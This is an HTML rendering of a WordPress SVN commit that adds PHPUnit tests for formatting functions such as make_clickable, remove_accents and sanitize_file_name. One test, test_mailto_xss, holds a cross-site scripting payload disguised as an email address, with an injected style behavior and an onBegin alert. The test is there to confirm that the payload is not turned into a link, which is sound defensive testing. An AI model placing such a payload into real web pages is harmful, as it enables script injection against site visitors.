+++ trunk/tests/tests/formatting/LikeEscape.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,29 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_LikeEscape extends WP_UnitTestCase {
+       /**
+        * @ticket 10041
+        */
+       function test_like_escape() {
+
+               $inputs = array(
+                       'howdy%', //Single Percent
+                       'howdy_', //Single Underscore
+                       'howdy\\', //Single slash
+                       'howdy\\howdy%howdy_', //The works
+               );
+               $expected = array(
+                       "howdy\\%",
+                       'howdy\\_',
+                       'howdy\\\\',
+                       'howdy\\\\howdy\\%howdy\\_'
+               );
+
+               foreach ($inputs as $key => $input) {
+                       $this->assertEquals($expected[$key], like_escape($input));
+               }
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingMakeClickablephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/MakeClickable.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/MakeClickable.php                           (rev 0)
+++ trunk/tests/tests/formatting/MakeClickable.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,347 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_MakeClickable extends WP_UnitTestCase {
+       function test_mailto_xss() {
+               $in = 'testzzz@"STYLE="behavior:url(\'#default#time2\')"onBegin="alert(\'refresh-XSS\')"';
+               $this->assertEquals($in, make_clickable($in));
+       }
+
+       function test_valid_mailto() {
+               $valid_emails = array(
+                       'foo@example.com',
+                       'foo.bar@example.com',
+                       'Foo.Bar@a.b.c.d.example.com',
+                       '0@example.com',
+                       'foo@example-example.com',
+                       );
+               foreach ($valid_emails as $email) {
+                       $this->assertEquals('<a href="mailto:'.$email.'">'.$email.'</a>', make_clickable($email));
+               }
+       }
+
+       function test_invalid_mailto() {
+               $invalid_emails = array(
+                       'foo',
+                       'foo@',
+                       'foo@@example.com',
+                       '@example.com',
+                       'foo @example.com',
+                       'foo@example',
+                       );
+               foreach ($invalid_emails as $email) {
+                       $this->assertEquals($email, make_clickable($email));
+               }
+       }
+
+       // tests that make_clickable will not link trailing periods, commas and
+       // (semi-)colons in URLs with protocol (i.e. http://wordpress.org)
+       function test_strip_trailing_with_protocol() {
+               $urls_before = array(
+                       'http://wordpress.org/hello.html',
+                       'There was a spoon named http://wordpress.org. Alice!',
+                       'There was a spoon named http://wordpress.org, said Alice.',
+                       'There was a spoon named http://wordpress.org; said Alice.',
+                       'There was a spoon named http://wordpress.org: said Alice.',
+                       'There was a spoon named (http://wordpress.org) said Alice.'
+                       );
+               $urls_expected = array(
+                       '<a href="http://wordpress.org/hello.html" rel="nofollow">http://wordpress.org/hello.html</a>',
+                       'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>. Alice!',
+                       'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>, said Alice.',
+                       'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>; said Alice.',
+                       'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>: said Alice.',
+                       'There was a spoon named (<a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>) said Alice.'
+                       );
+
+               foreach ($urls_before as $key => $url) {
+                       $this->assertEquals($urls_expected[$key], make_clickable($url));
+               }
+       }
+
+       // tests that make_clickable will not link trailing periods, commas and
+       // (semi-)colons in URLs with protocol (i.e. http://wordpress.org)
+       function test_strip_trailing_with_protocol_nothing_afterwards() {
+               $urls_before = array(
+                       'http://wordpress.org/hello.html',
+                       'There was a spoon named http://wordpress.org.',
+                       'There was a spoon named http://wordpress.org,',
+                       'There was a spoon named http://wordpress.org;',
+                       'There was a spoon named http://wordpress.org:',
+                       'There was a spoon named (http://wordpress.org)',
+                       'There was a spoon named (http://wordpress.org)x',
+                       );
+               $urls_expected = array(
+                       '<a href="http://wordpress.org/hello.html" rel="nofollow">http://wordpress.org/hello.html</a>',
+                       'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>.',
+                       'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>,',
+                       'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>;',
+                       'There was a spoon named <a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>:',
+                       'There was a spoon named (<a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>)',
+                       'There was a spoon named (<a href="http://wordpress.org" rel="nofollow">http://wordpress.org</a>)x',
+                       );
+
+               foreach ($urls_before as $key => $url) {
+                       $this->assertEquals($urls_expected[$key], make_clickable($url));
+               }
+       }
+
+       // tests that make_clickable will not link trailing periods, commas and
+       // (semi-)colons in URLs without protocol (i.e. www.wordpress.org)
+       function test_strip_trailing_without_protocol() {
+               $urls_before = array(
+                       'www.wordpress.org',
+                       'There was a spoon named www.wordpress.org. Alice!',
+                       'There was a spoon named www.wordpress.org, said Alice.',
+                       'There was a spoon named www.wordpress.org; said Alice.',
+                       'There was a spoon named www.wordpress.org: said Alice.',
+                       'There was a spoon named www.wordpress.org) said Alice.'
+                       );
+               $urls_expected = array(
+                       '<a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>',
+                       'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>. Alice!',
+                       'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>, said Alice.',
+                       'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>; said Alice.',
+                       'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>: said Alice.',
+                       'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>) said Alice.'
+                       );
+
+               foreach ($urls_before as $key => $url) {
+                       $this->assertEquals($urls_expected[$key], make_clickable($url));
+               }
+       }
+
+       // tests that make_clickable will not link trailing periods, commas and
+       // (semi-)colons in URLs without protocol (i.e. www.wordpress.org)
+       function test_strip_trailing_without_protocol_nothing_afterwards() {
+               $urls_before = array(
+                       'www.wordpress.org',
+                       'There was a spoon named www.wordpress.org.',
+                       'There was a spoon named www.wordpress.org,',
+                       'There was a spoon named www.wordpress.org;',
+                       'There was a spoon named www.wordpress.org:',
+                       'There was a spoon named www.wordpress.org)'
+                       );
+               $urls_expected = array(
+                       '<a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>',
+                       'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>.',
+                       'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>,',
+                       'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>;',
+                       'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>:',
+                       'There was a spoon named <a href="http://www.wordpress.org" rel="nofollow">http://www.wordpress.org</a>)'
+                       );
+
+               foreach ($urls_before as $key => $url) {
+                       $this->assertEquals($urls_expected[$key], make_clickable($url));
+               }
+       }
+
+       // #4570
+       function test_iri() {
+               $urls_before = array(
+                       'http://www.詹姆斯.com/',
+                       'http://bg.wikipedia.org/Баба',
+                       'http://example.com/?a=баба&b=дядо',
+               );
+               $urls_expected = array(
+                       '<a href="http://www.詹姆斯.com/" rel="nofollow">http://www.詹姆斯.com/</a>',
+                       '<a href="http://bg.wikipedia.org/Баба" rel="nofollow">http://bg.wikipedia.org/Баба</a>',
+                       '<a href="http://example.com/?a=баба&#038;b=дядо" rel="nofollow">http://example.com/?a=баба&#038;b=дядо</a>',
+               );
+               foreach ($urls_before as $key => $url) {
+                       $this->assertEquals($urls_expected[$key], make_clickable($url));
+               }
+       }
+
+       // #10990
+       function test_brackets_in_urls() {
+               $urls_before = array(
+                       'http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)',
+                       '(http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software))',
+                       'blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software) blah',
+                       'blah (http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)) blah',
+                       'blah blah blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software) blah blah',
+                       'blah blah blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)) blah blah',
+                       'blah blah (http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)) blah blah',
+                       'blah blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software).) blah blah',
+                       'blah blah http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software).)moreurl blah blah',
+                       'In his famous speech “You and Your research” (here:
+                       http://www.cs.virginia.edu/~robins/YouAndYourResearch.html)
+                       Richard Hamming wrote about people getting more done with their doors closed, but',
+               );
+               $urls_expected = array(
+                       '<a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a>',
+                       '(<a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a>)',
+                       'blah <a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a> blah',
+                       'blah (<a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a>) blah',
+                       'blah blah blah <a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a> blah blah',
+                       'blah blah blah <a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a>) blah blah',
+                       'blah blah (<a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a>) blah blah',
+                       'blah blah <a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a>.) blah blah',
+                       'blah blah <a href="http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)" rel="nofollow">http://en.wikipedia.org/wiki/PC_Tools_(Central_Point_Software)</a>.)moreurl blah blah',
+                       'In his famous speech “You and Your research” (here:
+                       <a href="http://www.cs.virginia.edu/~robins/YouAndYourResearch.html" rel="nofollow">http://www.cs.virginia.edu/~robins/YouAndYourResearch.html</a>)
+                       Richard Hamming wrote about people getting more done with their doors closed, but',
+               );
+               foreach ($urls_before as $key => $url) {
+                       $this->assertEquals($urls_expected[$key], make_clickable($url));
+               }
+       }
+
+       // Based on a real comments which were incorrectly linked. #11211
+       function test_real_world_examples() {
+               $urls_before = array(
+                       'Example: WordPress, test (some text), I love example.com (http://example.org), it is brilliant',
+                       'Example: WordPress, test (some text), I love example.com (http://example.com), it is brilliant',
+                       'Some text followed by a bracketed link with a trailing elipsis (http://example.com)...',
+                       'In his famous speech “You and Your research” (here: http://www.cs.virginia.edu/~robins/YouAndYourResearch.html) Richard Hamming wrote about people getting more done with their doors closed...',
+               );
+               $urls_expected = array(
+                       'Example: WordPress, test (some text), I love example.com (<a href="http://example.org" rel="nofollow">http://example.org</a>), it is brilliant',
+                       'Example: WordPress, test (some text), I love example.com (<a href="http://example.com" rel="nofollow">http://example.com</a>), it is brilliant',
+                       'Some text followed by a bracketed link with a trailing elipsis (<a href="http://example.com" rel="nofollow">http://example.com</a>)...',
+                       'In his famous speech “You and Your research” (here: <a href="http://www.cs.virginia.edu/~robins/YouAndYourResearch.html" rel="nofollow">http://www.cs.virginia.edu/~robins/YouAndYourResearch.html</a>) Richard Hamming wrote about people getting more done with their doors closed...',
+               );
+               foreach ($urls_before as $key => $url) {
+                       $this->assertEquals($urls_expected[$key], make_clickable($url));
+               }
+       }
+
+       // #14993
+       function test_twitter_hash_bang() {
+               $urls_before = array(
+                       'http://twitter.com/#!/wordpress/status/25907440233',
+                       'This is a really good tweet http://twitter.com/#!/wordpress/status/25907440233 !',
+                       'This is a really good tweet http://twitter.com/#!/wordpress/status/25907440233!',
+               );
+               $urls_expected = array(
+                       '<a href="http://twitter.com/#!/wordpress/status/25907440233" rel="nofollow">http://twitter.com/#!/wordpress/status/25907440233</a>',
+                       'This is a really good tweet <a href="http://twitter.com/#!/wordpress/status/25907440233" rel="nofollow">http://twitter.com/#!/wordpress/status/25907440233</a> !',
+                       'This is a really good tweet <a href="http://twitter.com/#!/wordpress/status/25907440233" rel="nofollow">http://twitter.com/#!/wordpress/status/25907440233</a>!',
+               );
+               foreach ($urls_before as $key => $url) {
+                       $this->assertEquals($urls_expected[$key], make_clickable($url));
+               }
+       }
+
+       function test_wrapped_in_angles() {
+               $before = array(
+                       'URL wrapped in angle brackets <http://example.com/>',
+                       'URL wrapped in angle brackets with padding < http://example.com/ >',
+                       'mailto wrapped in angle brackets <foo@example.com>',
+               );
+               $expected = array(
+                       'URL wrapped in angle brackets <<a href="http://example.com/" rel="nofollow">http://example.com/</a>>',
+                       'URL wrapped in angle brackets with padding < <a href="http://example.com/" rel="nofollow">http://example.com/</a> >',
+                       'mailto wrapped in angle brackets <foo@example.com>',
+               );
+               foreach ($before as $key => $url) {
+                       $this->assertEquals($expected[$key], make_clickable($url));
+               }
+       }
+
+       function test_preceded_by_punctuation() {
+               $before = array(
+                       'Comma then URL,http://example.com/',
+                       'Period then URL.http://example.com/',
+                       'Semi-colon then URL;http://example.com/',
+                       'Colon then URL:http://example.com/',
+                       'Exclamation mark then URL!http://example.com/',
+                       'Question mark then URL?http://example.com/',
+               );
+               $expected = array(
+                       'Comma then URL,<a href="http://example.com/" rel="nofollow">http://example.com/</a>',
+                       'Period then URL.<a href="http://example.com/" rel="nofollow">http://example.com/</a>',
+                       'Semi-colon then URL;<a href="http://example.com/" rel="nofollow">http://example.com/</a>',
+                       'Colon then URL:<a href="http://example.com/" rel="nofollow">http://example.com/</a>',
+                       'Exclamation mark then URL!<a href="http://example.com/" rel="nofollow">http://example.com/</a>',
+                       'Question mark then URL?<a href="http://example.com/" rel="nofollow">http://example.com/</a>',
+               );
+               foreach ($before as $key => $url) {
+                       $this->assertEquals($expected[$key], make_clickable($url));
+               }
+       }
+
+       function test_dont_break_attributes() {
+               $urls_before = array(
+                       "<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>",
+                       "(<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>)",
+                       "http://trunk.domain/testing#something (<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>)",
+                       "http://trunk.domain/testing#something
+                       (<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>)",
+                       "<span style='text-align:center; display: block;'><object width='425' height='350'><param name='movie' value='http://www.youtube.com/v/nd_BdvG43rE&rel=1&fs=1&showsearch=0&showinfo=1&iv_load_policy=1' /> <param name='allowfullscreen' value='true' /> <param name='wmode' value='opaque' /> <embed src='http://www.youtube.com/v/nd_BdvG43rE&rel=1&fs=1&showsearch=0&showinfo=1&iv_load_policy=1' type='application/x-shockwave-flash' allowfullscreen='true' width='425' height='350' wmode='opaque'></embed> </object></span>",
+                       '<a href="http://example.com/example.gif" title="Image from http://example.com">Look at this image!</a>',
+               );
+               $urls_expected = array(
+                       "<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>",
+                       "(<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>)",
+                       "<a href=\"http://trunk.domain/testing#something\" rel=\"nofollow\">http://trunk.domain/testing#something</a> (<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>)",
+                       "<a href=\"http://trunk.domain/testing#something\" rel=\"nofollow\">http://trunk.domain/testing#something</a>
+                       (<img src='http://trunk.domain/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley'>)",
+                       "<span style='text-align:center; display: block;'><object width='425' height='350'><param name='movie' value='http://www.youtube.com/v/nd_BdvG43rE&rel=1&fs=1&showsearch=0&showinfo=1&iv_load_policy=1' /> <param name='allowfullscreen' value='true' /> <param name='wmode' value='opaque' /> <embed src='http://www.youtube.com/v/nd_BdvG43rE&rel=1&fs=1&showsearch=0&showinfo=1&iv_load_policy=1' type='application/x-shockwave-flash' allowfullscreen='true' width='425' height='350' wmode='opaque'></embed> </object></span>",
+                       '<a href="http://example.com/example.gif" title="Image from http://example.com">Look at this image!</a>',
+               );
+               foreach ($urls_before as $key => $url) {
+                       $this->assertEquals($urls_expected[$key], make_clickable($url));
+               }
+       }
+
+       /**
+        * @ticket 16892
+        */
+       function test_click_inside_html() {
+               $urls_before = array(
+                       '<span>http://example.com</span>',
+                       '<p>http://example.com/</p>',
+               );
+               $urls_expected = array(
+                       '<span><a href="http://example.com" rel="nofollow">http://example.com</a></span>',
+                       '<p><a href="http://example.com/" rel="nofollow">http://example.com/</a></p>',
+               );
+               foreach ($urls_before as $key => $url) {
+                       $this->assertEquals( $urls_expected[$key], make_clickable( $url ) );
+               }
+       }
+
+       function test_no_links_within_links() {
+               $in = array(
+                       'Some text with a link <a href="http://example.com">http://example.com</a>',
+                       //'<a href="http://wordpress.org">This is already a link www.wordpress.org</a>', // fails in 3.3.1 too
+               );
+               foreach ( $in as $text ) {
+                       $this->assertEquals( $text, make_clickable( $text ) );
+               }
+       }
+
+       /**
+        * ticket 16892
+        */
+       function test_no_segfault() {
+               if ( version_compare( $GLOBALS['wp_version'], '3.1.1', '<' ) )
+                       $this->markTestSkipped();
+
+               $in = str_repeat( 'http://example.com/2011/03/18/post-title/', 256 );
+               $out = make_clickable( $in );
+               if ( version_compare( $GLOBALS['wp_version'], '3.4-alpha', '>=' ) )
+                       $this->assertEquals( $in, $out );
+       }
+
+       /**
+        * @ticket 16859
+        */
+       function test_square_brackets() {
+               $urls_before = array(
+                       'http://example.com/?foo[bar]=baz',
+                       'http://example.com/?baz=bar&foo[bar]=baz',
+               );
+               $urls_expected = array(
+                       '<a href="http://example.com/?foo%5Bbar%5D=baz" rel="nofollow">http://example.com/?foo%5Bbar%5D=baz</a>',
+                       '<a href="http://example.com/?baz=bar&#038;foo%5Bbar%5D=baz" rel="nofollow">http://example.com/?baz=bar&#038;foo%5Bbar%5D=baz</a>',
+               );
+               foreach ($urls_before as $key => $url) {
+                       $this->assertEquals( $urls_expected[$key], make_clickable( $url ) );
+               }
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingMapDeepphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/MapDeep.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/MapDeep.php                         (rev 0)
+++ trunk/tests/tests/formatting/MapDeep.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,55 @@
</span><ins>+<?php
+/**
+ * @group formatting
+ * @ticket 22300
+ */
+class Tests_Formatting_MapDeep extends WP_UnitTestCase {
+       function test_map_deep_with_any_function_over_empty_array_should_return_empty_array() {
+               $this->assertEquals( array(), map_deep( array( $this, 'return_baba' ), array() ) );
+       }
+
+       function test_map_deep_should_map_each_element_of_array_one_level_deep() {
+               $this->assertEquals( array( 'ababa', 'xbaba' ), map_deep( array( $this, 'append_baba' ), array( 'a', 'x' ) ) );
+       }
+
+       function test_map_deep_should_map_each_element_of_array_two_levels_deep() {
+               $this->assertEquals( array( 'ababa', array( 'xbaba' ) ), map_deep( array( $this, 'append_baba' ), array( 'a', array( 'x' ) ) ) );
+       }
+
+       function test_map_deep_should_map_each_object_element_of_an_array() {
+               $this->assertEquals( array( 'var0' => 'ababa', 'var1' => (object)array( 'xbaba' ) ),
+                       map_deep( array( $this, 'append_baba' ), array( 'var0' => 'a', 'var1' => (object)array( 'x' ) ) ) );
+       }
+
+       function test_map_deep_should_apply_the_function_to_a_string() {
+               $this->assertEquals( 'xbaba', map_deep( array( $this, 'append_baba' ), 'x' ) );
+       }
+
+       function test_map_deep_should_apply_the_function_to_an_integer() {
+               $this->assertEquals( '5baba' , map_deep( array( $this, 'append_baba' ), 5 ) );
+       }
+
+       function test_map_deep_should_map_each_property_of_an_object() {
+               $this->assertEquals( (object)array( 'var0' => 'ababa', 'var1' => 'xbaba' ),
+                       map_deep( array( $this, 'append_baba' ), (object)array( 'var0' => 'a', 'var1' => 'x' ) ) );
+       }
+
+       function test_map_deep_should_map_each_array_property_of_an_object() {
+               $this->assertEquals( (object)array( 'var0' => 'ababa', 'var1' => array( 'xbaba' ) ),
+                       map_deep( array( $this, 'append_baba' ), (object)array( 'var0' => 'a', 'var1' => array( 'x' ) ) ) );
+       }
+
+       function test_map_deep_should_map_each_object_property_of_an_object() {
+               $this->assertEquals( (object)array( 'var0' => 'ababa', 'var1' => (object)array( 'xbaba' ) ),
+                       map_deep( array( $this, 'append_baba' ), (object)array( 'var0' => 'a', 'var1' => (object)array( 'x' ) ) ) );
+       }
+
+       function return_baba( $value ) {
+               return 'baba';
+       }
+
+       function append_baba( $value ) {
+               return $value . 'baba';
+       }
+}
+
</ins></span></pre></div>
<a id="trunkteststestsformattingRemoveAccentsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/RemoveAccents.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/RemoveAccents.php                           (rev 0)
+++ trunk/tests/tests/formatting/RemoveAccents.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,97 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_RemoveAccents extends WP_UnitTestCase {
+       public function test_remove_accents_simple() {
+               $this->assertEquals( 'abcdefghijkl', remove_accents( 'abcdefghijkl' ) );
+       }
+
+       /**
+        * @ticket 9591
+        */
+       public function test_remove_accents_latin1_supplement() {
+               $input = 'ªºÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýþÿ';
+               $output = 'aoAAAAAAAECEEEEIIIIDNOOOOOOUUUUYTHsaaaaaaaeceeeeiiiidnoooooouuuuythy';
+
+               $this->assertEquals( $output, remove_accents( $input ), 'remove_accents replaces Latin-1 Supplement' );
+       }
+
+       public function test_remove_accents_latin_extended_a() {
+               $input = 'ĀāĂ㥹ĆćĈĉĊċČčĎďĐđĒēĔĕĖėĘęĚěĜĝĞğĠġĢģĤĥĦħĨĩĪīĬĭĮįİıIJijĴĵĶķĸĹĺĻļĽľĿŀŁłŃńŅņŇňʼnŊŋŌōŎŏŐőŒœŔŕŖŗŘřŚśŜŝŞşŠšŢţŤťŦŧŨũŪūŬŭŮůŰűŲųŴŵŶŷŸŹźŻżŽžſ';
+               $output = 'AaAaAaCcCcCcCcDdDdEeEeEeEeEeGgGgGgGgHhHhIiIiIiIiIiIJijJjKkkLlLlLlLlLlNnNnNnNnNOoOoOoOEoeRrRrRrSsSsSsSsTtTtTtUuUuUuUuUuUuWwYyYZzZzZzs';
+
+               $this->assertEquals( $output, remove_accents( $input ), 'remove_accents replaces Latin Extended A' );
+       }
+
+       public function test_remove_accents_latin_extended_b() {
+               $this->assertEquals( 'SsTt', remove_accents( 'ȘșȚț' ), 'remove_accents replaces Latin Extended B' );
+       }
+
+       public function test_remove_accents_euro_pound_signs() {
+               $this->assertEquals( 'E', remove_accents( '€' ), 'remove_accents replaces euro sign' );
+               $this->assertEquals( '', remove_accents( '£' ), 'remove_accents replaces pound sign' );
+       }
+
+       public function test_remove_accents_iso8859() {
+               // File is Latin1 encoded
+               $file = DIR_TESTDATA . '/formatting/remove_accents.01.input.txt';
+               $input = file_get_contents( $file );
+               $input = trim( $input );
+               $output = "EfSZszYcYuAAAAAACEEEEIIIINOOOOOOUUUUYaaaaaaceeeeiiiinoooooouuuuyyOEoeAEDHTHssaedhth";
+
+               $this->assertEquals( $output, remove_accents( $input ), 'remove_accents from ISO-8859-1 text' );
+       }
+
+       /**
+        * @ticket 17738
+        */
+       public function test_remove_accents_vowels_diacritic() {
+               // Vowels with diacritic
+               // unmarked
+               $this->assertEquals( 'OoUu', remove_accents( 'ƠơƯư' ) );
+               // grave accent
+               $this->assertEquals( 'AaAaEeOoOoUuYy', remove_accents( 'ẦầẰằỀềỒồỜờỪừỲỳ' ) );
+               // hook
+               $this->assertEquals( 'AaAaAaEeEeIiOoOoOoUuUuYy', remove_accents( 'ẢảẨẩẲẳẺẻỂểỈỉỎỏỔổỞởỦủỬửỶỷ' ) );
+               // tilde
+               $this->assertEquals( 'AaAaEeEeOoOoUuYy', remove_accents( 'ẪẫẴẵẼẽỄễỖỗỠỡỮữỸỹ' ) );
+               // acute accent
+               $this->assertEquals( 'AaAaEeOoOoUu', remove_accents( 'ẤấẮắẾếỐốỚớỨứ' ) );
+               // dot below
+               $this->assertEquals( 'AaAaAaEeEeIiOoOoOoUuUuYy', remove_accents( 'ẠạẬậẶặẸẹỆệỊịỌọỘộỢợỤụỰựỴỵ' ) );
+       }
+
+       /**
+        * @ticket 20772
+        */
+       public function test_remove_accents_hanyu_pinyin() {
+               // Vowels with diacritic (Chinese, Hanyu Pinyin)
+               // macron
+               $this->assertEquals( 'aeiouuAEIOUU', remove_accents( 'āēīōūǖĀĒĪŌŪǕ' ) );
+               // acute accent
+               $this->assertEquals( 'aeiouuAEIOUU', remove_accents( 'áéíóúǘÁÉÍÓÚǗ' ) );
+               // caron
+               $this->assertEquals( 'aeiouuAEIOUU', remove_accents( 'ǎěǐǒǔǚǍĚǏǑǓǙ' ) );
+               // grave accent
+               $this->assertEquals( 'aeiouuAEIOUU', remove_accents( 'àèìòùǜÀÈÌÒÙǛ' ) );
+               // unmarked
+               $this->assertEquals( 'aaeiouuAEIOUU', remove_accents( 'aɑeiouüAEIOUÜ' ) );
+       }
+
+       function _remove_accents_germanic_umlauts_cb() {
+               return 'de_DE';
+       }
+
+       /**
+        * @ticket 3782
+        */
+       public function test_remove_accents_germanic_umlauts() {
+               add_filter( 'locale', array( $this, '_remove_accents_germanic_umlauts_cb' ) );
+
+               $this->assertEquals( 'AeOeUeaeoeuess', remove_accents( 'ÄÖÜäöüß' ) );
+
+               remove_filter( 'locale', array( $this, '_remove_accents_germanic_umlauts_cb' ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingSanitizeFileNamephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/SanitizeFileName.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/SanitizeFileName.php                                (rev 0)
+++ trunk/tests/tests/formatting/SanitizeFileName.php   2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,34 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SanitizeFileName extends WP_UnitTestCase {
+       function test_munges_extensions() {
+               # r17990
+               $file_name = sanitize_file_name( 'test.phtml.txt' );
+               $this->assertEquals( 'test.phtml_.txt', $file_name );
+       }
+
+       function test_removes_special_chars() {
+               $special_chars = array("?", "[", "]", "/", "\\", "=", "<", ">", ":", ";", ",", "'", "\"", "&", "$", "#", "*", "(", ")", "|", "~", "`", "!", "{", "}", chr(0));
+               $string = 'test';
+               foreach ( $special_chars as $char )
+                       $string .= $char;
+               $string .= 'test';
+               $this->assertEquals( 'testtest', sanitize_file_name( $string ) );
+       }
+
+       function test_replaces_any_number_of_hyphens_with_one_hyphen() {
+               $this->assertEquals("a-t-t", sanitize_file_name("a----t----t"));
+       }
+
+       function test_trims_trailing_hyphens() {
+               $this->assertEquals("a-t-t", sanitize_file_name("a----t----t----"));
+       }
+
+       function test_replaces_any_amount_of_whitespace_with_one_hyphen() {
+               $this->assertEquals("a-t", sanitize_file_name("a          t"));
+               $this->assertEquals("a-t", sanitize_file_name("a    \n\n\nt"));
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingSanitizeMimeTypephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/SanitizeMimeType.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/SanitizeMimeType.php                                (rev 0)
+++ trunk/tests/tests/formatting/SanitizeMimeType.php   2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,38 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_SanitizeMimeType extends WP_UnitTestCase {
+       // 17855
+       function test_sanitize_valid_mime_type() {
+               $inputs = array(
+                       'application/atom+xml',
+                       'application/EDI-X12',
+                       'application/EDIFACT',
+                       'application/json',
+                       'application/javascript',
+                       'application/octet-stream',
+                       'application/ogg',
+                       'application/pdf',
+                       'application/postscript',
+                       'application/soap+xml',
+                       'application/x-woff',
+                       'application/xhtml+xml',
+                       'application/xml-dtd',
+                       'application/xop+xml',
+                       'application/zip',
+                       'application/x-gzip',
+                       'audio/basic',
+                       'image/jpeg',
+                       'text/css',
+                       'text/html',
+                       'text/plain',
+                       'video/mpeg',
+               );
+
+               foreach ( $inputs as $input ) {
+                       $this->assertEquals($input, sanitize_mime_type($input));
+               }
+       }
+}
